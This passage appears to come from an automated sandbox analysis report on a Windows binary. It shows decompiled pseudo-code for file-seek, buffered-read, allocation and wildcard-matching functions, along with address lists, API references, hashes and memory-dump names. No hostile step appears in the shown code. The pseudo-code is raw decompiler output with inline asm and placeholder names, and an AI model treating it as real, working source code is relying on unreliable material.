0x01251ff4
0x01251ff6
0x01251ff9
0x01251ffc
0x01251fff
0x01252002
0x01252009
0x0125203b
0x00000000
0x01252041
0x01252041
0x01252043
0x01252049
0x0125204e
0x01252052
0x0125205b
0x0125205b
0x01252061
0x01252065
0x01252073
0x01252084
0x012520b4
0x012520ba
0x012520bc
0x012520be
0x00000000
0x01252086
0x01252086
0x0125208c
0x01252090
0x01252092
0x01252097
0x0125209c
0x0125209c
0x0125209f
0x012520a2
0x012520a8
0x012520ad
0x012520ad
0x012520b0
0x012520b0
0x01252084
0x0125200b
0x0125200b
0x0125200d
0x01252015
0x01252022
0x01252017
0x01252017
0x0125201a
0x0125201a
0x01252028
0x01252030
0x012520c1
0x012520c1
0x012520c4
0x012520c9
0x012520d0
0x012520d4
0x012520d6
0x012520db
0x012520e0
0x012520e0
0x012520e3
0x012520e6
0x012520ec
0x012520f1
0x012520f1
0x012520f4
0x012520f4
0x012520fc
0x01252104

APIs

__EH_prolog.LIBCMT ref: 01251FE7
GetLastError.KERNEL32(?,?,00000000), ref: 01252086

Part of subcall function 01231A96: malloc.MSVCRT ref: 01231A9C
Part of subcall function 01231A96: _CxxThrowException.MSVCRT(?,0126D020), ref: 01231AB6

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorExceptionH_prologLastThrowmalloc
String ID:
API String ID: 3967182680-0
Opcode ID: 895e393852a058160be5548e335a2dea12a167097653940d096aaabca20294dd
Instruction ID: 2bf93fc09db5f4747a5f709fa5c215403847c8b6299eb90943baa7821316f567
Opcode Fuzzy Hash: 895e393852a058160be5548e335a2dea12a167097653940d096aaabca20294dd
Instruction Fuzzy Hash: 7941EF71A11206DFDB64DFA8C5846BEFBF6BF68200F10446DEA05E72C0CB709945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0124B152 Relevance: 3.1, APIs: 2, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0124B152(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* _t47;
				void* _t53;
				signed int _t58;
				char _t60;
				void* _t85;
				signed int _t87;
				void* _t89;

				E012639E0(E01265D70, _t89);
				 *((intOrPtr*)(_t89 - 0x18)) = 0;
				 *((intOrPtr*)(_t89 - 0x14)) = 0;
				 *((intOrPtr*)(_t89 - 0x10)) = 0;
				 *(_t89 - 4) = 0;
				 *((intOrPtr*)(_t89 - 0x24)) = 0;
				 *((intOrPtr*)(_t89 - 0x20)) = 0;
				 *((intOrPtr*)(_t89 - 0x1c)) = 0;
				 *(_t89 - 4) = 1;
				E0124B253( *((intOrPtr*)(_t89 + 8)), _t89 - 0x18, __eflags);
				E0124B253( *((intOrPtr*)(_t89 + 0xc)), _t89 - 0x24, __eflags);
				_t87 = 0;
				if( *((intOrPtr*)(_t89 - 0x14)) <= 0) {
					L6:
					 *(_t89 - 4) = 0;
					E01248B2E(0, _t89 - 0x24);
					 *(_t89 - 4) =  *(_t89 - 4) | 0xffffffff;
					_t47 = E01248B2E(0, _t89 - 0x18);
					 *[fs:0x0] =  *((intOrPtr*)(_t89 - 0xc));
					return _t47;
				}
				_t85 = __ecx + 0x18;
				do {
					E012328E9(_t89 - 0x3c);
					 *(_t89 - 4) = 2;
					E012328E9(_t89 - 0x30);
					 *(_t89 - 4) = 3;
					E01232A8C(_t89 - 0x3c,  *((intOrPtr*)( *((intOrPtr*)(_t89 - 0x18)) + _t87 * 4)));
					if(_t87 <  *((intOrPtr*)(_t89 - 0x20))) {
						E01232A8C(_t89 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(_t89 - 0x24)) + _t87 * 4)));
						_t58 = wcscmp( *(_t89 - 0x30), "*");
						asm("sbb al, al");
						_t60 =  ~_t58 + 1;
						 *((char*)(_t89 + 0xb)) = _t60;
						if(_t60 != 0) {
							 *((intOrPtr*)(_t89 - 0x2c)) = 0;
							 *( *(_t89 - 0x30)) = 0;
						}
					}
					_push(_t89 - 0x3c); // executed
					_t53 = E0124C812(_t85, _t85); // executed
					 *(_t89 - 4) = 1;
					E01231ABD(E01231ABD(_t53,  *(_t89 - 0x30)),  *((intOrPtr*)(_t89 - 0x3c)));
					_t87 = _t87 + 1;
				} while (_t87 <  *((intOrPtr*)(_t89 - 0x14)));
				goto L6;
			}

0x0124b157
0x0124b166
0x0124b169
0x0124b16c
0x0124b16f
0x0124b172
0x0124b175
0x0124b178
0x0124b181
0x0124b185
0x0124b190
0x0124b195
0x0124b19a
0x0124b22b
0x0124b22e
0x0124b231
0x0124b236
0x0124b23d
0x0124b248
0x0124b250
0x0124b250
0x0124b1a0
0x0124b1a3
0x0124b1a6
0x0124b1ae
0x0124b1b2
0x0124b1bd
0x0124b1c4
0x0124b1cc
0x0124b1d7
0x0124b1e4
0x0124b1ec
0x0124b1ef
0x0124b1f2
0x0124b1f5
0x0124b1fa
0x0124b1fd
0x0124b1fd
0x0124b1f5
0x0124b205
0x0124b206
0x0124b20e
0x0124b21a
0x0124b21f
0x0124b224
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0124B157

Part of subcall function 0124B253: __EH_prolog.LIBCMT ref: 0124B258

wcscmp.MSVCRT ref: 0124B1E4

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$wcscmp
String ID:
API String ID: 3232955128-0
Opcode ID: 9bb48d41d0066efe2eb2201b0e54206624907e2d89d08e454d5492467c0111de
Instruction ID: c0e5324ba206ff9fc560ea95eb9011d0c186017a24935e55fbd315ddecf3f00d
Opcode Fuzzy Hash: 9bb48d41d0066efe2eb2201b0e54206624907e2d89d08e454d5492467c0111de
Instruction Fuzzy Hash: 1E311871C2125AEFCF09EFE9D9859EDFBB4BF64204F508159E41573291CB305A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0123651E Relevance: 3.1, APIs: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0123651E(void** __ecx, long _a4, signed int _a8, long _a12, intOrPtr* _a16) {
				long _v8;
				signed int _t17;
				long _t19;
				void* _t20;
				intOrPtr* _t22;
				void* _t23;
				void** _t29;
				signed int _t33;
				long _t36;

				_t29 = __ecx;
				_push(__ecx);
				if(__ecx[1] != 0 && __ecx[1] != 0 && _a12 == 2) {
					_a4 = __ecx[2] + _a4;
					_a12 = 0;
					asm("adc [ebp+0xc], edx");
				}
				_t17 = _a8;
				_v8 = _t17;
				_t33 = _t17 >> 0x1f;
				_t19 = SetFilePointer( *_t29, _a4,  &_v8, _a12); // executed
				_t36 = _t19;
				if(_t36 != 0xffffffff || GetLastError() == 0) {
					_t20 = E01263D00(_v8, 0, 0, 1);
					asm("adc edx, eax");
					_t22 = _a16;
					 *_t22 = _t20 + _t36;
					 *(_t22 + 4) = _t33;
					_t23 = 1;
				} else {
					_t23 = 0;
				}
				return _t23;
			}

0x0123651e
0x01236521
0x01236529
0x0123653c
0x0123653f
0x01236542
0x01236542
0x01236545
0x0123654d
0x01236557
0x0123655c
0x01236562
0x01236567
0x0123657e
0x01236589
0x0123658b
0x0123658e
0x01236590
0x01236593
0x01236573
0x01236573
0x01236573
0x01236598

APIs

SetFilePointer.KERNELBASE(000000FF,?,00000000,?,000000FF,?,000000FF,?,012365AE,?,?,00000000,?,012365E9,?,?), ref: 0123655C
GetLastError.KERNEL32(?,012365AE,?,?,00000000,?,012365E9,?,?,?,?,00000000), ref: 01236569

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 472ff2fb41721a63fa5c5dc9033817e611c9c7fb164e54224834b03106f4fd8c
Instruction ID: 651478db35926f6438a6d9ab633ece3ba897c95a54e025510c346122e3931896
Opcode Fuzzy Hash: 472ff2fb41721a63fa5c5dc9033817e611c9c7fb164e54224834b03106f4fd8c
Instruction Fuzzy Hash: B51108B0600205BFCB11CF28E84499A7BF9AF44214B14C0B9F91897295D732DE11DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01239438 Relevance: 2.7, APIs: 2, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E01239438(char _a4, signed int _a8, int _a12, signed int _a16) {
				signed int _v8;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int* _t84;
				signed int _t85;
				signed int _t87;
				signed int _t89;
				signed int _t93;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t101;
				signed int _t106;
				signed int _t107;
				signed int _t108;
				signed int _t110;
				signed int _t112;
				intOrPtr _t113;
				int _t114;
				signed int* _t117;
				signed int _t120;
				intOrPtr _t123;
				signed int _t124;
				signed int _t125;
				signed int _t132;
				signed int _t133;
				intOrPtr _t135;
				signed int _t136;
				signed int _t137;
				intOrPtr _t140;
				signed int _t141;
				signed int _t149;
				signed int _t154;
				signed int _t155;
				int _t156;
				intOrPtr _t157;
				char _t160;
				void* _t168;

				_t84 = _a16;
				if(_t84 != 0) {
					 *_t84 =  *_t84 & 0x00000000;
				}
				if(_a12 == 0) {
					L10:
					_t85 = 0;
					L59:
					return _t85;
				}
				_t160 = _a4;
				if( *((char*)(_t160 + 0x1c)) == 0) {
					L49:
					_t87 = E01236901(_a8, _a12,  &_a4); // executed
					_t141 = _a16;
					_t123 = _a4;
					__eflags = _t141;
					if(_t141 != 0) {
						 *_t141 = _t123;
					}
					 *(_t160 + 0x28) =  *(_t160 + 0x28) + _t123;
					asm("adc [esi+0x2c], edx");
					 *(_t160 + 0x30) =  *(_t160 + 0x30) + _t123;
					asm("adc [esi+0x34], edx");
					__eflags = _t87;
					if(_t87 != 0) {
						goto L10;
					} else {
						_t85 = GetLastError();
						_t124 =  *(_t160 + 0x4c);
						__eflags = _t124;
						if(_t124 == 0) {
							__eflags = _t85;
							if(__eflags != 0) {
								if(__eflags > 0) {
									_t85 = _t85 & 0x0000ffff | 0x80070000;
									__eflags = _t85;
								}
								goto L59;
							}
							L56:
							_t85 = 0x80004005;
							goto L59;
						}
						_t85 =  *((intOrPtr*)( *_t124))( *((intOrPtr*)(_t160 + 0x50)), _t85);
						goto L59;
					}
				}
				if( *((char*)(_t160 + 0x1d)) == 0) {
					L15:
					_t117 = _t160 + 0x44;
					while(1) {
						_t89 =  *(_t160 + 0x28);
						_t125 =  *((intOrPtr*)(_t160 + 0x2c));
						_v8 = _t125;
						_t154 = _t89 & 0xfffc0000;
						__eflags =  *_t117;
						if( *_t117 <= 0) {
							goto L19;
						}
						__eflags =  *(_t160 + 0x38) - _t154;
						if( *(_t160 + 0x38) != _t154) {
							goto L19;
						}
						__eflags =  *((intOrPtr*)(_t160 + 0x3c)) - _t125;
						if( *((intOrPtr*)(_t160 + 0x3c)) == _t125) {
							_t120 =  *_t117;
							_t110 =  *(_t160 + 0x28) & 0x0003ffff;
							__eflags = _t110 - _t120;
							if(_t110 < _t120) {
								_t156 = _t120 - _t110;
								__eflags = _t156 - _a12;
								if(_t156 >= _a12) {
									_t156 = _a12;
								}
								memcpy(_a8,  *(_t160 + 0x40) + _t110, _t156);
								_t112 = _a16;
								 *(_t160 + 0x28) =  *(_t160 + 0x28) + _t156;
								asm("adc dword [esi+0x2c], 0x0");
								__eflags = _t112;
								if(_t112 != 0) {
									 *_t112 =  *_t112 + _t156;
								}
							}
							goto L10;
						}
						L19:
						__eflags = _t89 & 0x0003ffff;
						if((_t89 & 0x0003ffff) != 0) {
							L25:
							__eflags = _t154 -  *(_t160 + 0x30);
							if(_t154 !=  *(_t160 + 0x30)) {
								L27:
								_t93 = E0123651E(_t160 + 0x18, _t154, _v8, 0,  &_v20);
								__eflags = _t93;
								if(_t93 == 0) {
									L42:
									_t85 = E012396B8(0);
									goto L59;
								} else {
									 *(_t160 + 0x30) = _v20;
									 *((intOrPtr*)(_t160 + 0x34)) = _v16;
									L29:
									__eflags =  *((char*)(_t160 + 0x1d));
									 *(_t160 + 0x38) = _t154;
									 *((intOrPtr*)(_t160 + 0x3c)) = _v8;
									_t155 = 0x40000;
									if( *((char*)(_t160 + 0x1d)) == 0) {
										L33:
										__eflags =  *(_t160 + 0x40);
										if( *(_t160 + 0x40) != 0) {
											L35:
											_t117 = _t160 + 0x44;
											_t97 = E012368D4(_t160 + 0x18,  *(_t160 + 0x40), _t155, _t117);
											__eflags = _t97;
											if(_t97 == 0) {
												goto L42;
											}
											_t98 =  *_t117;
											__eflags = _t98;
											if(_t98 == 0) {
												goto L10;
											}
											 *(_t160 + 0x30) =  *(_t160 + 0x30) + _t98;
											asm("adc dword [esi+0x34], 0x0");
											continue;
										}
										_t99 = E01263390(0x40000);
										__eflags = _t99;
										 *(_t160 + 0x40) = _t99;
										if(_t99 == 0) {
											_t85 = 0x8007000e;
											goto L59;
										}
										goto L35;
									}
									_t101 =  *((intOrPtr*)(_t160 + 0x20)) -  *(_t160 + 0x30);
									__eflags = _t101;
									asm("sbb edx, [esi+0x34]");
									_v24 =  *((intOrPtr*)(_t160 + 0x24));
									if(_t101 != 0) {
										L32:
										_t155 = 0x40000;
										goto L33;
									}
									__eflags = _t101 - 0x40000;
									_t155 = _t101;
									if(_t101 < 0x40000) {
										goto L33;
									}
									goto L32;
								}
							}
							__eflags = _v8 -  *((intOrPtr*)(_t160 + 0x34));
							if(_v8 ==  *((intOrPtr*)(_t160 + 0x34))) {
								goto L29;
							}
							goto L27;
						}
						__eflags = _a8 & 0x0003ffff;
						if((_a8 & 0x0003ffff) != 0) {
							goto L25;
						}
						_t132 = _a12 +  *(_t160 + 0x28);
						asm("adc edx, [esi+0x2c]");
						__eflags = _t132 & 0x0003ffff;
						if((_t132 & 0x0003ffff) == 0) {
							L39:
							_t106 =  *(_t160 + 0x28);
							_t133 =  *((intOrPtr*)(_t160 + 0x2c));
							__eflags = _t106 -  *(_t160 + 0x30);
							if(_t106 !=  *(_t160 + 0x30)) {
								L41:
								_t107 = E0123651E(_t160 + 0x18, _t106, _t133, 0,  &_v20);
								__eflags = _t107;
								if(_t107 != 0) {
									_t108 = _v20;
									_t135 = _v16;
									 *(_t160 + 0x28) = _t108;
									 *(_t160 + 0x30) = _t108;
									 *((intOrPtr*)(_t160 + 0x2c)) = _t135;
									 *((intOrPtr*)(_t160 + 0x34)) = _t135;
									goto L49;
								}
								goto L42;
							}
							__eflags = _t133 -  *((intOrPtr*)(_t160 + 0x34));
							if(_t133 ==  *((intOrPtr*)(_t160 + 0x34))) {
								goto L49;
							}
							goto L41;
						}
						_t136 = _t132 & 0xfffc0000;
						__eflags = 0 -  *((intOrPtr*)(_t160 + 0x2c));
						if(__eflags > 0) {
							L38:
							_t137 = _t136 -  *(_t160 + 0x28);
							__eflags = _t137;
							_a12 = _t137;
							goto L39;
						}
						if(__eflags < 0) {
							goto L25;
						}
						__eflags = _t136 -  *(_t160 + 0x28);
						if(_t136 >  *(_t160 + 0x28)) {
							goto L38;
						}
						goto L25;
					}
				}
				_t157 =  *((intOrPtr*)(_t160 + 0x2c));
				_t140 =  *((intOrPtr*)(_t160 + 0x24));
				_t149 =  *(_t160 + 0x28);
				_t113 =  *((intOrPtr*)(_t160 + 0x20));
				_t168 = _t157 - _t140;
				if(_t168 < 0 || _t168 <= 0 && _t149 < _t113) {
					_t114 = _t113 - _t149;
					asm("sbb ecx, edi");
					__eflags = 0 - _t140;
					if(__eflags < 0) {
						goto L15;
					}
					if(__eflags > 0) {
						L14:
						_a12 = _t114;
						goto L15;
					}
					__eflags = _a12 - _t114;
					if(_a12 <= _t114) {
						goto L15;
					}
					goto L14;
				} else {
					if(_t149 != _t113 || _t157 != _t140) {
						goto L56;
					} else {
						goto L10;
					}
				}
			}

0x0123943e
0x01239443
0x01239445
0x01239445
0x0123944f
0x0123948a
0x0123948a
0x012396b1
0x012396b5
0x012396b5
0x01239451
0x01239458
0x01239648
0x01239655
0x0123965a
0x0123965d
0x01239660
0x01239662
0x01239664
0x01239664
0x01239668
0x0123966b
0x0123966e
0x01239671
0x01239674
0x01239676
0x00000000
0x0123967c
0x0123967c
0x01239682
0x01239685
0x01239687
0x0123969a
0x0123969c
0x012396a5
0x012396ac
0x012396ac
0x012396ac
0x00000000
0x012396a5
0x0123969e
0x0123969e
0x00000000
0x0123969e
0x0123968f
0x00000000
0x0123968f
0x01239676
0x01239462
0x012394a5
0x012394a5
0x012394a8
0x012394a8
0x012394ab
0x012394b0
0x012394b3
0x012394b9
0x012394bc
0x00000000
0x00000000
0x012394c1
0x012394c3
0x00000000
0x00000000
0x012394c8
0x012394ca
0x012395f0
0x012395f2
0x012395f7
0x012395f9
0x01239601
0x01239603
0x01239606
0x01239608
0x01239608
0x01239615
0x0123961a
0x01239620
0x01239623
0x01239627
0x01239629
0x0123962f
0x0123962f
0x01239629
0x00000000
0x012395f9
0x012394d0
0x012394d9
0x012394db
0x01239515
0x01239515
0x01239518
0x01239522
0x0123952f
0x01239534
0x01239536
0x012395e1
0x012395e3
0x00000000
0x0123953c
0x0123953f
0x01239545
0x01239548
0x0123954b
0x01239554
0x01239557
0x0123955a
0x0123955c
0x01239577
0x01239577
0x0123957b
0x0123958d
0x0123958d
0x01239598
0x0123959d
0x0123959f
0x00000000
0x00000000
0x012395a1
0x012395a3
0x012395a5
0x00000000
0x00000000
0x012395ab
0x012395ae
0x00000000
0x012395ae
0x0123957d
0x01239582
0x01239584
0x01239587
0x01239693
0x00000000
0x01239693
0x00000000
0x01239587
0x01239564
0x01239564
0x01239567
0x0123956a
0x0123956d
0x01239575
0x01239575
0x00000000
0x01239575
0x0123956f
0x01239571
0x01239573
0x00000000
0x00000000
0x00000000
0x01239573
0x01239536
0x0123951d
0x01239520
0x00000000
0x00000000
0x00000000
0x01239520
0x012394dd
0x012394e0
0x00000000
0x00000000
0x012394e7
0x012394ea
0x012394f3
0x012394f5
0x012395bd
0x012395bd
0x012395c0
0x012395c3
0x012395c6
0x012395cd
0x012395d8
0x012395dd
0x012395df
0x01239636
0x01239639
0x0123963c
0x0123963f
0x01239642
0x01239645
0x00000000
0x01239645
0x00000000
0x012395df
0x012395c8
0x012395cb
0x00000000
0x00000000
0x00000000
0x012395cb
0x012394fb
0x01239501
0x01239504
0x012395b7
0x012395b7
0x012395b7
0x012395ba
0x00000000
0x012395ba
0x0123950a
0x00000000
0x00000000
0x0123950c
0x0123950f
0x00000000
0x00000000
0x00000000
0x0123950f
0x012394a8
0x01239464
0x01239467
0x0123946a
0x0123946d
0x01239470
0x01239472
0x01239491
0x01239493
0x01239497
0x01239499
0x00000000
0x00000000
0x0123949b
0x012394a2
0x012394a2
0x00000000
0x012394a2
0x0123949d
0x012394a0
0x00000000
0x00000000
0x00000000
0x0123947a
0x0123947c
0x00000000
0x00000000
0x00000000
0x00000000
0x0123947c

APIs

memcpy.MSVCRT ref: 01239615
GetLastError.KERNEL32(?,00000000,?), ref: 0123967C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorLastmemcpy
String ID:
API String ID: 2523627151-0
Opcode ID: fa8bc02b99661d279c59fa3739025041e97fb76882df8b12461a338598c7b136
Instruction ID: 89cf3b634a2e411c754d1df93987f574b660c1f8c4bb19a6754b6cdc4d1c8092
Opcode Fuzzy Hash: fa8bc02b99661d279c59fa3739025041e97fb76882df8b12461a338598c7b136
Instruction Fuzzy Hash: 5A8149B16207069FDF64CF29C980AAAB7F5FB86318F14492DDA4687A40D7B1F981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01231A96 Relevance: 2.5, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E01231A96(int _a4, char _a7) {
				void* _t5;
				char* _t7;

				_t5 = malloc(_a4); // executed
				if(_t5 == 0) {
					_push(0x126d020);
					_t7 =  &_a7;
					_push(_t7);
					L01263CAC();
					return _t7;
				}
				return _t5;
			}

0x01231a9c
0x01231aa5
0x01231aaa
0x01231ab2
0x01231ab5
0x01231ab6
0x00000000
0x01231ab6
0x01231abc

APIs

malloc.MSVCRT ref: 01231A9C
_CxxThrowException.MSVCRT(?,0126D020), ref: 01231AB6

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: ed5b9f95c30c234c0f1902a43d6cb3dd147d1da5bf501317fc8c0c90f947cafc
Instruction ID: 69fbcae675ee24d6c4072a71a4650e93eab391095827f477a54aa7f8f71fbb15
Opcode Fuzzy Hash: ed5b9f95c30c234c0f1902a43d6cb3dd147d1da5bf501317fc8c0c90f947cafc
Instruction Fuzzy Hash: D5D0C73511434D7A8F016FE6A85459A3F6C5A51561B00D055F95C8E155D531D3928750

Uniqueness

Uniqueness Score: -1.00%

Function 012474E7 Relevance: 2.1, APIs: 1, Instructions: 610
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E012474E7(signed int __ecx, intOrPtr __edx) {
				void* __ebx;
				signed int _t319;
				intOrPtr _t321;
				signed int _t328;
				signed int** _t341;
				signed int _t347;
				signed int _t350;
				signed int _t355;
				void* _t356;
				signed int _t359;
				short* _t362;
				signed int _t366;
				void* _t374;
				signed int _t375;
				signed int _t381;
				void* _t382;
				void* _t385;
				signed int _t402;
				signed char _t405;
				void* _t411;
				signed int _t412;
				void* _t413;
				signed int _t420;
				signed int _t429;
				intOrPtr _t437;
				signed int _t443;
				signed int _t444;
				intOrPtr _t478;
				signed int _t489;
				void* _t490;
				void* _t521;
				signed int* _t544;
				signed int _t554;
				signed int _t558;
				signed int _t560;
				intOrPtr _t561;
				signed int** _t562;
				intOrPtr _t563;
				signed int _t564;
				signed int _t565;
				void* _t566;

				E012639E0(E012657EA, _t566);
				_t558 = __ecx;
				 *((intOrPtr*)(_t566 - 0x2c)) = __edx;
				 *(_t566 - 0x1c) = __ecx;
				if( *(_t566 + 0x18) == 0 && E01233C37(__ecx) != 0) {
					 *(_t566 + 0x18) = 1;
				}
				_t554 =  *(_t566 + 0x14);
				_t319 = E01246F68(_t554,  *((intOrPtr*)(_t566 + 0xc)));
				if(_t319 != 0) {
					L113:
					 *[fs:0x0] =  *((intOrPtr*)(_t566 - 0xc));
					return _t319;
				}
				if( *((intOrPtr*)( *((intOrPtr*)(_t566 + 0x10)) + 4)) != 0 ||  *(_t566 + 0x18) != 0 || E012481D1(_t558) == 0) {
					_t321 =  *((intOrPtr*)(_t566 + 0xc));
					__eflags =  *(_t321 + 4);
					if( *(_t321 + 4) != 0) {
						L100:
						_t279 = _t566 - 0xa4;
						 *_t279 =  *(_t566 - 0xa4) | 0xffffffff;
						__eflags =  *_t279;
						 *(_t566 - 4) = 0xc;
						E012328E9(_t566 - 0xa0);
						 *(_t566 - 4) = 0xd;
						E01236272(_t566 - 0xa4,  *((intOrPtr*)(_t566 + 0xc)));
						 *(_t566 - 0x24) = 0;
						E01235C60(_t566 - 0x7c);
						E012328E9(_t566 - 0x54);
						while(1) {
							_push(_t566 + 0x17);
							 *(_t566 - 4) = 0xe;
							_t328 = E012362DA(_t566 - 0x7c);
							__eflags = _t328;
							if(_t328 == 0) {
								break;
							}
							__eflags =  *(_t566 + 0x17);
							if( *(_t566 + 0x17) == 0) {
								L109:
								E01231ABD(E01231ABD(_t328,  *((intOrPtr*)(_t566 - 0x54))),  *((intOrPtr*)(_t566 - 0xa0)));
								E012358AD(_t566 - 0xa4);
								goto L110;
							}
							__eflags =  *(_t554 + 0x98);
							if(__eflags == 0) {
								L106:
								_push( *(_t566 + 0x18));
								_push(_t554);
								_push( *((intOrPtr*)(_t566 + 0x10)));
								_push( *((intOrPtr*)(_t566 + 0xc)));
								_push( *((intOrPtr*)(_t566 + 8)));
								_push( *((intOrPtr*)(_t566 - 0x2c)));
								_t328 = E01247F7E(_t566 - 0x7c, _t558, __eflags);
								__eflags = _t328;
								if(_t328 != 0) {
									L111:
									_t560 = _t328;
									E01231ABD(E01231ABD(_t328,  *((intOrPtr*)(_t566 - 0x54))),  *((intOrPtr*)(_t566 - 0xa0)));
									E012358AD(_t566 - 0xa4);
									goto L112;
								}
								 *(_t566 - 4) = 0xd;
								E01231ABD(_t328,  *((intOrPtr*)(_t566 - 0x54)));
								 *(_t566 - 0x24) =  *(_t566 - 0x24) + 1;
								E01235C60(_t566 - 0x7c);
								E012328E9(_t566 - 0x54);
								continue;
							}
							__eflags = ( *(_t566 - 0x24) & 0x00000fff) - 0xfff;
							if(__eflags != 0) {
								goto L106;
							}
							_t328 = E01246F68(_t554,  *((intOrPtr*)(_t566 + 0xc)));
							__eflags = _t328;
							if(__eflags != 0) {
								goto L111;
							}
							goto L106;
						}
						_t328 = E01246F4F(_t554,  *((intOrPtr*)(_t566 + 0xc)));
						__eflags = _t328;
						if(_t328 != 0) {
							goto L111;
						}
						goto L109;
					}
					__eflags =  *(_t558 + 0x20);
					if( *(_t558 + 0x20) <= 0) {
						goto L100;
					}
					 *(_t566 + 0x14) = 0;
					while(1) {
						_t341 =  *( *((intOrPtr*)(_t558 + 0x1c)) +  *(_t566 + 0x14) * 4);
						_t544 = _t341[1];
						__eflags = _t544 - 1;
						if(_t544 < 1) {
							break;
						}
						_t489 =  *( *_t341);
						 *(_t566 - 0x28) = _t489;
						__eflags =  *((intOrPtr*)(_t489 + 4)) - 2;
						if( *((intOrPtr*)(_t489 + 4)) != 2) {
							break;
						}
						_t490 =  *_t489;
						__eflags =  *((short*)(_t490 + 2)) - 0x3a;
						if( *((short*)(_t490 + 2)) != 0x3a) {
							break;
						}
						__eflags = _t544 - 1;
						if(_t544 != 1) {
							L86:
							_t359 = E01233E8C(_t490);
							__eflags = _t359;
							if(_t359 != 0) {
								L89:
								 *(_t566 + 0x14) =  *(_t566 + 0x14) + 1;
								__eflags =  *(_t566 + 0x14) -  *(_t558 + 0x20);
								if( *(_t566 + 0x14) <  *(_t558 + 0x20)) {
									continue;
								}
								break;
							}
							_t362 =  *( *(_t566 - 0x28));
							__eflags =  *_t362 - 0x2a;
							if( *_t362 == 0x2a) {
								goto L89;
							}
							__eflags =  *_t362 - 0x3f;
							if( *_t362 != 0x3f) {
								break;
							}
							goto L89;
						}
						__eflags = _t341[3];
						if(_t341[3] != 0) {
							break;
						}
						__eflags = _t341[3];
						if(_t341[3] == 0) {
							break;
						}
						goto L86;
					}
					__eflags =  *(_t566 + 0x14) -  *(_t558 + 0x20);
					if(__eflags != 0) {
						goto L100;
					}
					 *((intOrPtr*)(_t566 - 0x18)) = 0;
					 *(_t566 - 0x14) = 0;
					 *((intOrPtr*)(_t566 - 0x10)) = 0;
					 *(_t566 - 4) = 9;
					E01236306(_t566 - 0x18, __eflags);
					__eflags =  *(_t566 - 0x14);
					 *(_t566 + 0x14) = 0;
					if(__eflags <= 0) {
						L96:
						 *(_t566 - 4) =  *(_t566 - 4) | 0xffffffff;
						E01248B2E(0, _t566 - 0x18);
						goto L110;
					} else {
						goto L92;
					}
					while(1) {
						L92:
						E012329BC(_t566 - 0x44, __eflags,  *((intOrPtr*)( *((intOrPtr*)(_t566 - 0x18)) +  *(_t566 + 0x14) * 4)));
						_t347 =  *(_t566 - 0x40);
						_t478 =  *((intOrPtr*)(_t566 - 0x44));
						__eflags = _t347 - 3;
						 *(_t566 - 4) = 0xa;
						if(_t347 < 3) {
							break;
						}
						__eflags =  *((short*)(_t478 + _t347 * 2 - 2)) - 0x5c;
						if( *((short*)(_t478 + _t347 * 2 - 2)) != 0x5c) {
							break;
						}
						_t350 = _t347 - 1;
